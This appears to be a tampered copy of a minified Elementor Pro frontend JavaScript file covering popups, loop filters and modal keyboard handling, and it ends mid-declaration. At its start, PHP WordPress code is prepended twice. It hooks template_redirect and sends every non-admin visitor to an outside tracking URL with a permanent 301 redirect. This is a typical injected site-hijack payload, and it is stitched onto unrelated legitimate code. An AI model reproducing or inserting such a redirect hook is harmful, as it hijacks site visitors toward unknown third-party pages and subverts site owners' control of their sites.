function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');/*! elementor-pro - v3.22.0 - 24-06-2024 */ "use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro||[]).push([[437],{7996:(e,t,n)=>{var s=n(3203),o=s(n(4042)),r=s(n(8528)),l=s(n(7857)),i=s(n(3184)),a=s(n(7043)),d=s(n(4223)),u=s(n(4231)),c=s(n(2741)),m=s(n(3513)),h=s(n(3002)),g=s(n(8650)),f=s(n(6701)),p=s(n(102)),_=s(n(1748)),v=s(n(5438)),b=s(n(2439)),y=s(n(5032)),F=s(n(1474)),M=s(n(2105)),w=s(n(4351)),S=s(n(3159)),H=s(n(2676));const extendDefaultHandlers=e=>({...e,...{animatedText:o.default,carousel:r.default,countdown:l.default,hotspot:i.default,form:a.default,gallery:d.default,lottie:u.default,nav_menu:c.default,popup:m.default,posts:h.default,share_buttons:g.default,slides:f.default,social:p.default,themeBuilder:v.default,themeElements:b.default,woocommerce:y.default,tableOfContents:_.default,loopBuilder:F.default,megaMenu:M.default,nestedCarousel:w.default,taxonomyFilter:S.default,offCanvas:H.default}});elementorProFrontend.on("elementor-pro/modules/init:before",(()=>{elementorFrontend.hooks.addFilter("elementor-pro/frontend/handlers",extendDefaultHandlers)}))},8491:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=class AjaxHelper{addLoadingAnimationOverlay(e){const t=document.querySelector(`.elementor-element-${e}`);t&&t.classList.add("e-loading-overlay")}removeLoadingAnimationOverlay(e){const t=document.querySelector(`.elementor-element-${e}`);t&&t.classList.remove("e-loading-overlay")}}},6542:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.focusableElementSelectors=function focusableElementSelectors(){return"audio, button, canvas, details, iframe, input, select, summary, textarea, video, [accesskey], a[href], area[href], [tabindex]"}},8115:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.close=void 0;const o=new(s(n(4519)).default)("eicon");t.close={get element(){return o.createSvgElement("close",{path:"M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z",width:1e3,height:1e3})}}},4519:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3231));class IconsManager{constructor(e){if(this.prefix=`${e}-`,!IconsManager.symbolsContainer){const e="e-font-icon-svg-symbols";IconsManager.symbolsContainer=document.getElementById(e),IconsManager.symbolsContainer||(IconsManager.symbolsContainer=document.createElementNS("http://www.w3.org/2000/svg","svg"),IconsManager.symbolsContainer.setAttributeNS(null,"style","display: none;"),IconsManager.symbolsContainer.setAttributeNS(null,"class",e),document.body.appendChild(IconsManager.symbolsContainer))}}createSvgElement(e,t){let{path:n,width:s,height:o}=t;const r=this.prefix+e,l="#"+this.prefix+e;if(!IconsManager.iconsUsageList.includes(r)){if(!IconsManager.symbolsContainer.querySelector(l)){const e=document.createElementNS("http://www.w3.org/2000/svg","symbol");e.id=r,e.innerHTML='',e.setAttributeNS(null,"viewBox","0 0 "+s+" "+o),IconsManager.symbolsContainer.appendChild(e)}IconsManager.iconsUsageList.push(r)}const i=document.createElementNS("http://www.w3.org/2000/svg","svg");return i.innerHTML='',i.setAttributeNS(null,"class","e-font-icon-svg e-"+r),i}}t.default=IconsManager,(0,o.default)(IconsManager,"symbolsContainer",void 0),(0,o.default)(IconsManager,"iconsUsageList",[])},8989:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3231)),r=n(6542);t.default=class ModalKeyboardHandler{constructor(e){(0,o.default)(this,"lastFocusableElement",null),(0,o.default)(this,"firstFocusableElement",null),(0,o.default)(this,"modalTriggerElement",null),this.config=e}onOpenModal(){this.initializeElements(),this.setTriggerElement(),this.changeFocus(),this.bindEvents()}onCloseModal(){elementorFrontend.elements.$window.off("keydown",this.onKeyDownPressed.bind(this)),this.modalTriggerElement&&this.setFocusToElement(this.modalTriggerElement)}bindEvents(){elementorFrontend.elements.$window.on("keydown",this.onKeyDownPressed.bind(this)),"popup"===this.config.modalType&&this.onPopupCloseEvent()}onPopupCloseEvent(){elementorFrontend.elements.$window.on("elementor/popup/hide",this.onCloseModal.bind(this))}getFocusableElements(){const e="popup"===this.config.modalType?":focusable":(0,r.focusableElementSelectors)();return this.config.$modalElements.find(e)}initializeElements(){const e=this.getFocusableElements();e.length&&(this.lastFocusableElement=e[e.length-1],this.firstFocusableElement=e[0])}setTriggerElement(){const e=elementorFrontend.elements.window.document.activeElement;this.modalTriggerElement=e?elementorFrontend.elements.window.document.activeElement:null}changeFocus(){this.firstFocusableElement?this.setFocusToElement(this.firstFocusableElement):(this.config.$elementWrapper.attr("tabindex","0"),this.setFocusToElement(this.config.$elementWrapper[0]))}onKeyDownPressed(e){const t=e.shiftKey,n="Tab"===e.key||9===e.keyCode,s="0"===this.config.$elementWrapper.attr("tabindex");n&&s?e.preventDefault():n&&this.onTabKeyPressed(n,t,e)}onTabKeyPressed(e,t,n){elementorFrontend.isEditMode()&&this.initializeElements();const s=elementorFrontend.elements.window.document.activeElement;if(t){s===this.firstFocusableElement&&(this.setFocusToElement(this.lastFocusableElement),n.preventDefault())}else{s===this.lastFocusableElement&&(this.setFocusToElement(this.firstFocusableElement),n.preventDefault())}}setFocusToElement(e){setTimeout((()=>{e?.focus()}),100)}}},6399:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=function runElementHandlers(e){[...e].flatMap((e=>[...e.querySelectorAll(".elementor-element")])).forEach((e=>elementorFrontend.elementsHandler.runReadyTrigger(e)))}},4042:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("animated-headline",(()=>n.e(26).then(n.bind(n,629))))}}t.default=_default},8528:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("media-carousel",(()=>n.e(534).then(n.bind(n,8509)))),elementorFrontend.elementsHandler.attachHandler("testimonial-carousel",(()=>n.e(369).then(n.bind(n,4526)))),elementorFrontend.elementsHandler.attachHandler("reviews",(()=>n.e(369).then(n.bind(n,4526))))}}t.default=_default},7857:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("countdown",(()=>n.e(804).then(n.bind(n,5449))))}}t.default=_default},7043:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("form",[()=>n.e(680).then(n.bind(n,8503)),()=>n.e(680).then(n.bind(n,1393)),()=>n.e(680).then(n.bind(n,6529)),()=>n.e(680).then(n.bind(n,784)),()=>n.e(680).then(n.bind(n,2108)),()=>n.e(680).then(n.bind(n,5347))]),elementorFrontend.elementsHandler.attachHandler("subscribe",[()=>n.e(680).then(n.bind(n,8503)),()=>n.e(680).then(n.bind(n,1393)),()=>n.e(680).then(n.bind(n,6529))])}}t.default=_default},4223:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("gallery",(()=>n.e(121).then(n.bind(n,2219))))}}t.default=_default},3184:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("hotspot",(()=>n.e(888).then(n.bind(n,1016))))}}t.default=_default},1474:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),["post","product","post_taxonomy","product_taxonomy"].forEach((e=>{elementorFrontend.elementsHandler.attachHandler("loop-grid",(()=>n.e(985).then(n.bind(n,4098))),e),elementorFrontend.elementsHandler.attachHandler("loop-grid",(()=>n.e(149).then(n.bind(n,6685))),e),elementorFrontend.elementsHandler.attachHandler("loop-carousel",(()=>n.e(149).then(n.bind(n,6685))),e),elementorFrontend.elementsHandler.attachHandler("loop-carousel",(()=>n.e(153).then(n.bind(n,7188))),e),elementorFrontend.elementsHandler.attachHandler("loop-grid",(()=>n.e(356).then(n.bind(n,6128))),e)}))}}t.default=_default},3651:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(6399)),r=s(n(8491)),l=s(n(3601)),i=n(9408);class BaseFilterFrontendModule extends elementorModules.Module{constructor(){super(),this.loopWidgetsStore=new l.default}removeFilterFromLoopWidget(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"",s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"";if(!this.loopWidgetsStore.getWidget(e))return this.loopWidgetsStore.addWidget(e),void this.refreshLoopWidget(e,t);if(n===s&&this.loopWidgetsStore.unsetFilter(e,t),n!==s){const s=this.loopWidgetsStore.getFilterTerms(e,t).filter((function(e){return e!==n}));this.loopWidgetsStore.setFilterTerms(e,t,s)}this.refreshLoopWidget(e,t)}setFilterDataForLoopWidget(e,t,n){let s=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"DISABLED";this.loopWidgetsStore.maybeInitializeWidget(e),this.loopWidgetsStore.maybeInitializeFilter(e,t);const r=this.validateMultipleFilterOperator(o);if("DISABLED"!==r){const s=this.loopWidgetsStore.getFilterTerms(e,t)??[],o=n.filterData.terms;n.filterData.terms=[...new Set([...s,...o])],n.filterData.logicalJoin=r}this.loopWidgetsStore.setFilter(e,t,n),s?this.refreshLoopWidget(e,t):this.loopWidgetsStore.consolidateFilters(e)}validateMultipleFilterOperator(e){return e&&["AND","OR"].includes(e)?e:"DISABLED"}getQueryStringInObjectForm(){const e={};for(const t in this.loopWidgetsStore.get()){const n=this.loopWidgetsStore.getWidget(t);for(const s in n.consolidatedFilters){const o=n.consolidatedFilters[s];for(const n in o){const s=i.queryConstants[o[n].logicalJoin??"AND"].separator.decoded;e[`e-filter-${t}-${n}`]=Object.values(o[n].terms).join(s)}}}return e}updateURLQueryString(e,t){const n=new URL(window.location.href).searchParams,s=this.getQueryStringInObjectForm(),o=new URLSearchParams;n.forEach(((t,n)=>{n.startsWith("e-filter")||o.append(n,t),n.startsWith("e-page-"+e)&&o.delete(n)}));for(const e in s)o.set(e,s[e]);let r=o.toString();r=r.replace(new RegExp(`${i.queryConstants.AND.separator.encoded}`,"g"),i.queryConstants.AND.separator.decoded),r=r.replace(new RegExp(`${i.queryConstants.OR.separator.encoded}`,"g"),i.queryConstants.OR.separator.decoded);const l=this.getFilterHelperAttributes(t);r=l.pageNum>1?r?this.formatQueryString(l.baseUrl,r):l.baseUrl:r?`?${r}`:location.pathname,history.pushState(null,null,r)}formatQueryString(e,t){const n=e.includes("?")?new URLSearchParams(e.split("?")[1]):new URLSearchParams,s=new URLSearchParams(t);for(const e of n.keys())s.has(e)&&s.delete(e);const o=["page","paged"];for(const e of o)n.delete(e),s.delete(e);const r=new URLSearchParams(n.toString());for(const[e,t]of s.entries())r.append(e,t);return e.split("?")[0]+(r.toString()?`?${r.toString()}`:"")}getFilterHelperAttributes(e){const t=document.querySelector('[data-id="'+e+'"]');if(!t)return{baseUrl:location.href,pageNum:1};return t.querySelector(".e-filter").dataset}prepareLoopUpdateRequestData(e,t){const n=this.loopWidgetsStore.getConsolidatedFilters(e),s=this.getFilterHelperAttributes(t),o={post_id:elementorFrontend.config.post.id||this.getClosestDataElementorId(document.querySelector(`.elementor-element-${e}`)),widget_filters:n,widget_id:e,pagination_base_url:s.baseUrl};if(elementorFrontend.isEditMode()){const t=window.top.$e.components.get("document").utils.findContainerById(e);o.widget_model=t.model.toJSON({remove:["default","editSettings","defaultEditSettings"]}),o.is_edit_mode=!0}return o}getClosestDataElementorId(e){const t=e.closest("[data-elementor-id]");return t?t.getAttribute("data-elementor-id"):0}getFetchArgumentsForLoopUpdate(e,t){const n=this.prepareLoopUpdateRequestData(e,t),s={method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(n)};return elementorFrontend.isEditMode()&&elementorPro.config.loopFilter?.nonce&&(s.headers["X-WP-Nonce"]=elementorPro.config.loopFilter?.nonce),s}fetchUpdatedLoopWidgetMarkup(e,t){return fetch(`${elementorProFrontend.config.urls.rest}elementor-pro/v1/refresh-loop`,this.getFetchArgumentsForLoopUpdate(e,t))}createElementFromHTMLString(e){const t=document.createElement("div");return e?(t.innerHTML=e.trim(),t.firstElementChild):(t.classList.add("elementor-widget-container"),t)}refreshLoopWidget(e,t){this.loopWidgetsStore.consolidateFilters(e),this.updateURLQueryString(e,t);const n=document.querySelector(`.elementor-element-${e}`);if(!n)return;this.ajaxHelper||(this.ajaxHelper=new r.default),this.ajaxHelper.addLoadingAnimationOverlay(e);return this.fetchUpdatedLoopWidgetMarkup(e,t).then((e=>e instanceof Response&&e?.ok&&!(400<=e?.status)?e.json():{})).catch((()=>({}))).then((t=>{if(!t?.data&&""!==t?.data)return;const s=n.querySelector(".elementor-widget-container"),o=this.createElementFromHTMLString(t.data);n.replaceChild(o,s),this.handleElementHandlers(o),elementorFrontend.config.experimentalFeatures.e_lazyload&&document.dispatchEvent(new Event("elementor/lazyload/observe")),elementorFrontend.elementsHandler.runReadyTrigger(document.querySelector(`.elementor-element-${e}`)),n.classList.remove("e-loading")})).finally((()=>{this.ajaxHelper.removeLoadingAnimationOverlay(e)}))}handleElementHandlers(e){const t=e.querySelectorAll(".e-loop-item");(0,o.default)(t)}}t.default=BaseFilterFrontendModule},3159:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3651));class LoopFilter extends o.default{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("taxonomy-filter",(()=>n.e(188).then(n.bind(n,6961))))}}t.default=LoopFilter},3601:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=class LoopWidgetsStore{constructor(){this.widgets={}}get(){return this.widgets}getWidget(e){return this.widgets[e]}setWidget(e,t){this.widgets[e]=t}unsetWidget(e){delete this.widgets[e]}getFilters(e){return this.getWidget(e).filters}getFilter(e,t){return this.getWidget(e).filters[t]}setFilter(e,t,n){this.getWidget(e).filters[t]=n}unsetFilter(e,t){delete this.getWidget(e).filters[t]}getFilterTerms(e,t){return this.getFilter(e,t).filterData.terms??[]}setFilterTerms(e,t,n){this.getFilter(e,t).filterData.terms=n}getConsolidatedFilters(e){return this.getWidget(e).consolidatedFilters}setConsolidatedFilters(e,t){this.getWidget(e).consolidatedFilters=t}addWidget(e){this.setWidget(e,{filters:{},consolidatedFilters:{}})}maybeInitializeWidget(e){this.getWidget(e)||this.addWidget(e)}maybeInitializeFilter(e,t){if(this.getFilter(e,t))return;this.setFilter(e,t,{filterData:{terms:[]}})}consolidateFilters(e){const t=this.getFilters(e),n={};for(const e in t){const s=t[e],o=s.filterType,r=s.filterData;0!==r.terms.length&&(n[o]||(n[o]={}),n[o][r.selectedTaxonomy]||(n[o][r.selectedTaxonomy]=[]),!r.terms||n[o][r.selectedTaxonomy].terms&&n[o][r.selectedTaxonomy].terms.includes(r.terms)||(n[o][r.selectedTaxonomy]={terms:"string"===r.terms?[r.terms]:r.terms}),r.logicalJoin&&!n[o][r.selectedTaxonomy].logicalJoin&&(n[o][r.selectedTaxonomy]={...n[o][r.selectedTaxonomy]||{},logicalJoin:r.logicalJoin??"AND"}))}this.setConsolidatedFilters(e,n)}}},9408:e=>{e.exports={queryConstants:{AND:{separator:{decoded:"+",fromBrowser:" ",encoded:"%2B"},operator:"AND"},OR:{separator:{decoded:"~",fromBrowser:"~",encoded:"%7C"},operator:"IN"},NOT:{separator:{decoded:"!",fromBrowser:"!",encoded:"%21"},operator:"NOT IN"},DISABLED:{separator:{decoded:"",fromBrowser:"",encoded:""},operator:"AND"}}}},4231:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("lottie",(()=>n.e(288).then(n.bind(n,1464))))}}t.default=_default},2105:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("mega-menu",[()=>n.e(495).then(n.bind(n,9318)),()=>n.e(157).then(n.bind(n,9638)),()=>n.e(244).then(n.bind(n,6921))])}}t.default=_default},2741:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),jQuery.fn.smartmenus&&(jQuery.SmartMenus.prototype.isCSSOn=function(){return!0},elementorFrontend.config.is_rtl&&(jQuery.fn.smartmenus.defaults.rightToLeftSubMenus=!0)),elementorFrontend.elementsHandler.attachHandler("nav-menu",(()=>n.e(42).then(n.bind(n,7480))))}}t.default=_default},4351:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("nested-carousel",(()=>n.e(209).then(n.bind(n,1826))))}}t.default=_default},2676:(e,t,n)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.elementsHandler.attachHandler("off-canvas",(()=>n.e(725).then(n.bind(n,3278)))),elementorFrontend.on("components:init",(()=>this.onFrontendComponentsInit()))}onFrontendComponentsInit(){this.addUrlActions()}addUrlActions(){elementorFrontend.utils.urlActions.addAction("off_canvas:open",(e=>{this.toggleOffCanvasDisplay(e)})),elementorFrontend.utils.urlActions.addAction("off_canvas:close",(e=>{this.toggleOffCanvasDisplay(e)})),elementorFrontend.utils.urlActions.addAction("off_canvas:toggle",(e=>{this.toggleOffCanvasDisplay(e)}))}toggleOffCanvasDisplay(e){window.dispatchEvent(new CustomEvent("elementor-pro/off-canvas/toggle-display-mode",{detail:e}))}}t.default=_default},7107:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3231)),r=s(n(2635)),l=s(n(3467)),i=n(8115),a=s(n(8989));class _default extends elementorModules.frontend.Document{constructor(){super(...arguments),(0,o.default)(this,"keyboardHandler",null)}bindEvents(){const e=this.getDocumentSettings("open_selector");e&&elementorFrontend.elements.$body.on("click",e,this.showModal.bind(this))}startTiming(){new l.default(this.getDocumentSettings("timing"),this).check()&&this.initTriggers()}initTriggers(){this.triggers=new r.default(this.getDocumentSettings("triggers"),this)}showModal(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];const n=this.getDocumentSettings();if(!this.isEdit){if(!elementorFrontend.isWPPreviewMode()){if(this.getStorage("disable"))return;if(t&&elementorProFrontend.modules.popup.popupPopped&&n.avoid_multiple_popups)return}this.$element=jQuery(this.elementHTML),this.elements.$elements=this.$element.find(this.getSettings("selectors.elements"))}const s=this.getModal(),o=s.getElements("closeButton");s.setMessage(this.$element).show(),this.isEdit||(n.close_button_delay&&(o.hide(),clearTimeout(this.closeButtonTimeout),this.closeButtonTimeout=setTimeout((()=>o.show()),1e3*n.close_button_delay)),super.runElementsHandlers()),this.setEntranceAnimation(),n.timing&&n.timing.times_count||this.countTimes(),elementorProFrontend.modules.popup.popupPopped=!0,!this.isEdit&&n.a11y_navigation&&this.handleKeyboardA11y()}setEntranceAnimation(){const e=this.getModal().getElements("widgetContent"),t=this.getDocumentSettings(),n=elementorFrontend.getCurrentDeviceSetting(t,"entrance_animation");if(this.currentAnimation&&e.removeClass(this.currentAnimation),this.currentAnimation=n,!n)return;const s=t.entrance_animation_duration.size;e.addClass(n),setTimeout((()=>e.removeClass(n)),1e3*s)}handleKeyboardA11y(){this.keyboardHandler||(this.keyboardHandler=new a.default(this.getKeyboardHandlingConfig())),this.keyboardHandler.onOpenModal()}setExitAnimation(){const e=this.getModal(),t=this.getDocumentSettings(),n=e.getElements("widgetContent"),s=elementorFrontend.getCurrentDeviceSetting(t,"exit_animation"),o=s?t.entrance_animation_duration.size:0;setTimeout((()=>{s&&n.removeClass(s+" reverse"),this.isEdit||(this.$element.remove(),e.getElements("widget").hide())}),1e3*o),s&&n.addClass(s+" reverse")}initModal(){let e;this.getModal=()=>{if(!e){const t=this.getDocumentSettings(),n=this.getSettings("id"),triggerPopupEvent=e=>{const t="elementor/popup/"+e;elementorFrontend.elements.$document.trigger(t,[n,this]),window.dispatchEvent(new CustomEvent(t,{detail:{id:n,instance:this}}))};let s="elementor-popup-modal";t.classes&&(s+=" "+t.classes);const o={id:"elementor-popup-modal-"+n,className:s,closeButton:!0,preventScroll:t.prevent_scroll,onShow:()=>triggerPopupEvent("show"),onHide:()=>triggerPopupEvent("hide"),effects:{hide:()=>{t.timing&&t.timing.times_count&&this.countTimes(),this.setExitAnimation()},show:"show"},hide:{auto:!!t.close_automatically,autoDelay:1e3*t.close_automatically,onBackgroundClick:!t.prevent_close_on_background_click,onOutsideClick:!t.prevent_close_on_background_click,onEscKeyPress:!t.prevent_close_on_esc_key,ignore:".flatpickr-calendar"},position:{enable:!1}};elementorFrontend.config.experimentalFeatures.e_font_icon_svg&&(o.closeButtonOptions={iconElement:i.close.element}),o.closeButtonClass="eicon-close",e=elementorFrontend.getDialogsManager().createWidget("lightbox",o),e.getElements("widgetContent").addClass("animated");const r=e.getElements("closeButton");this.isEdit&&(r.off("click"),e.hide=()=>{}),this.setCloseButtonPosition()}return e}}setCloseButtonPosition(){const e=this.getModal(),t=this.getDocumentSettings("close_button_position");e.getElements("closeButton").prependTo(e.getElements("outside"===t?"widget":"widgetContent"))}disable(){this.setStorage("disable",!0)}setStorage(e,t,n){elementorFrontend.storage.set(`popup_${this.getSettings("id")}_${e}`,t,n)}getStorage(e,t){return elementorFrontend.storage.get(`popup_${this.getSettings("id")}_${e}`,t)}countTimes(){const e=this.getStorage("times")||0;this.setStorage("times",e+1)}runElementsHandlers(){}async onInit(){super.onInit(),window.DialogsManager||await elementorFrontend.utils.assetsLoader.load("script","dialog"),this.initModal(),this.isEdit?this.showModal():(this.$element.show().remove(),this.elementHTML=this.$element[0].outerHTML,elementorFrontend.isEditMode()||(elementorFrontend.isWPPreviewMode()&&elementorFrontend.config.post.id===this.getSettings("id")?this.showModal():this.startTiming()))}onSettingsChange(e){const t=Object.keys(e.changed)[0];-1!==t.indexOf("entrance_animation")&&this.setEntranceAnimation(),"exit_animation"===t&&this.setExitAnimation(),"close_button_position"===t&&this.setCloseButtonPosition()}getKeyboardHandlingConfig(){return{$modalElements:this.getModal().getElements("widgetContent"),$elementWrapper:this.$element,modalType:"popup",modalId:this.$element.data("elementor-id")}}}t.default=_default},3513:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(7107));class _default extends elementorModules.Module{constructor(){super(),elementorFrontend.hooks.addAction("elementor/frontend/documents-manager/init-classes",this.addDocumentClass),elementorFrontend.elementsHandler.attachHandler("form",(()=>n.e(50).then(n.bind(n,8872)))),elementorFrontend.on("components:init",(()=>this.onFrontendComponentsInit())),elementorFrontend.isEditMode()||elementorFrontend.isWPPreviewMode()||this.setViewsAndSessions()}addDocumentClass(e){e.addDocumentClass("popup",o.default)}setViewsAndSessions(){const e=elementorFrontend.storage.get("pageViews")||0;elementorFrontend.storage.set("pageViews",e+1);if(!elementorFrontend.storage.get("activeSession",{session:!0})){elementorFrontend.storage.set("activeSession",!0,{session:!0});const e=elementorFrontend.storage.get("sessions")||0;elementorFrontend.storage.set("sessions",e+1)}}showPopup(e,t){const n=elementorFrontend.documentsManager.documents[e.id];if(!n)return;const s=n.getModal();e.toggle&&s.isVisible()?s.hide():n.showModal(t)}closePopup(e,t){const n=jQuery(t.target).parents('[data-elementor-type="popup"]').data("elementorId");if(!n)return;const s=elementorFrontend.documentsManager.documents[n];s.getModal().hide(),e.do_not_show_again&&s.disable()}onFrontendComponentsInit(){elementorFrontend.utils.urlActions.addAction("popup:open",((e,t)=>this.showPopup(e,t))),elementorFrontend.utils.urlActions.addAction("popup:close",((e,t)=>this.closePopup(e,t)))}}t.default=_default},3467:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(6723)),r=s(n(3754)),l=s(n(6470)),i=s(n(221)),a=s(n(2193)),d=s(n(6195)),u=s(n(5247)),c=s(n(349)),m=s(n(5503));class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t,this.timingClasses={page_views:o.default,sessions:r.default,url:l.default,sources:i.default,logged_in:a.default,devices:d.default,times:u.default,browsers:c.default,schedule:m.default}}check(){const e=this.getSettings();let t=!0;return jQuery.each(this.timingClasses,((n,s)=>{if(!e[n])return;new s(e,this.document).check()||(t=!1)})),t}}t.default=_default},3107:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class _default extends elementorModules.Module{constructor(e,t){super(e),this.document=t}getTimingSetting(e){return this.getSettings(this.getName()+"_"+e)}}t.default=_default},349:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"browsers"}check(){if("all"===this.getTimingSetting("browsers"))return!0;const e=this.getTimingSetting("browsers_options"),t=elementorFrontend.utils.environment;return e.some((e=>t[e]))}}t.default=_default},6195:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"devices"}check(){return-1!==this.getTimingSetting("devices").indexOf(elementorFrontend.getCurrentDeviceMode())}}t.default=_default},2193:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"logged_in"}check(){const e=elementorFrontend.config.user;if(!e)return!0;if("all"===this.getTimingSetting("users"))return!1;return!this.getTimingSetting("roles").filter((t=>-1!==e.roles.indexOf(t))).length}}t.default=_default},6723:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"page_views"}check(){const e=elementorFrontend.storage.get("pageViews"),t=this.getName();let n=this.document.getStorage(t+"_initialPageViews");return n||(this.document.setStorage(t+"_initialPageViews",e),n=e),e-n>=this.getTimingSetting("views")}}t.default=_default},2097:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3231));t.default=class ScheduleUtils{constructor(e){(0,o.default)(this,"shouldDisplay",(()=>{if(!this.settings.startDate&&!this.settings.endDate)return!0;const e=this.getCurrentDateTime();return(!this.settings.startDate||e>=this.settings.startDate)&&(!this.settings.endDate||e<=this.settings.endDate)})),this.settings=e.settings}getCurrentDateTime(){let e=new Date;return"site"===this.settings.timezone&&this.settings.serverDatetime&&(e=new Date(this.settings.serverDatetime)),e}}},5503:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107)),r=s(n(2097));class _default extends o.default{constructor(){super(...arguments);const{schedule_timezone:e,schedule_start_date:t,schedule_end_date:n,schedule_server_datetime:s}=this.getSettings();this.settings={timezone:e,startDate:!!t&&new Date(t),endDate:!!n&&new Date(n),serverDatetime:!!s&&new Date(s)},this.scheduleUtils=new r.default({settings:this.settings})}getName(){return"schedule"}check(){return this.scheduleUtils.shouldDisplay()}}t.default=_default},3754:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"sessions"}check(){const e=elementorFrontend.storage.get("sessions"),t=this.getName();let n=this.document.getStorage(t+"_initialSessions");return n||(this.document.setStorage(t+"_initialSessions",e),n=e),e-n>=this.getTimingSetting("sessions")}}t.default=_default},221:(e,t,n)=>{var s=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=s(n(3107));class _default extends o.default{getName(){return"sources"}check(){const e=this.getTimingSetting("sources");if(3===e.length)return!0;const t=document.referrer.replace(/https?:\/\/(?:www\.)?/,"");return 0===t.indexOf(location.host.replace("www.",""))?-1!==e.indexOf("internal"):-1!==e.indexOf("external")||-1!==e.indexOf("search")&&/^(google|yahoo|bing|yandex|baidu)\./.test(t)}}t.default=_default},6237:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;t.default=class 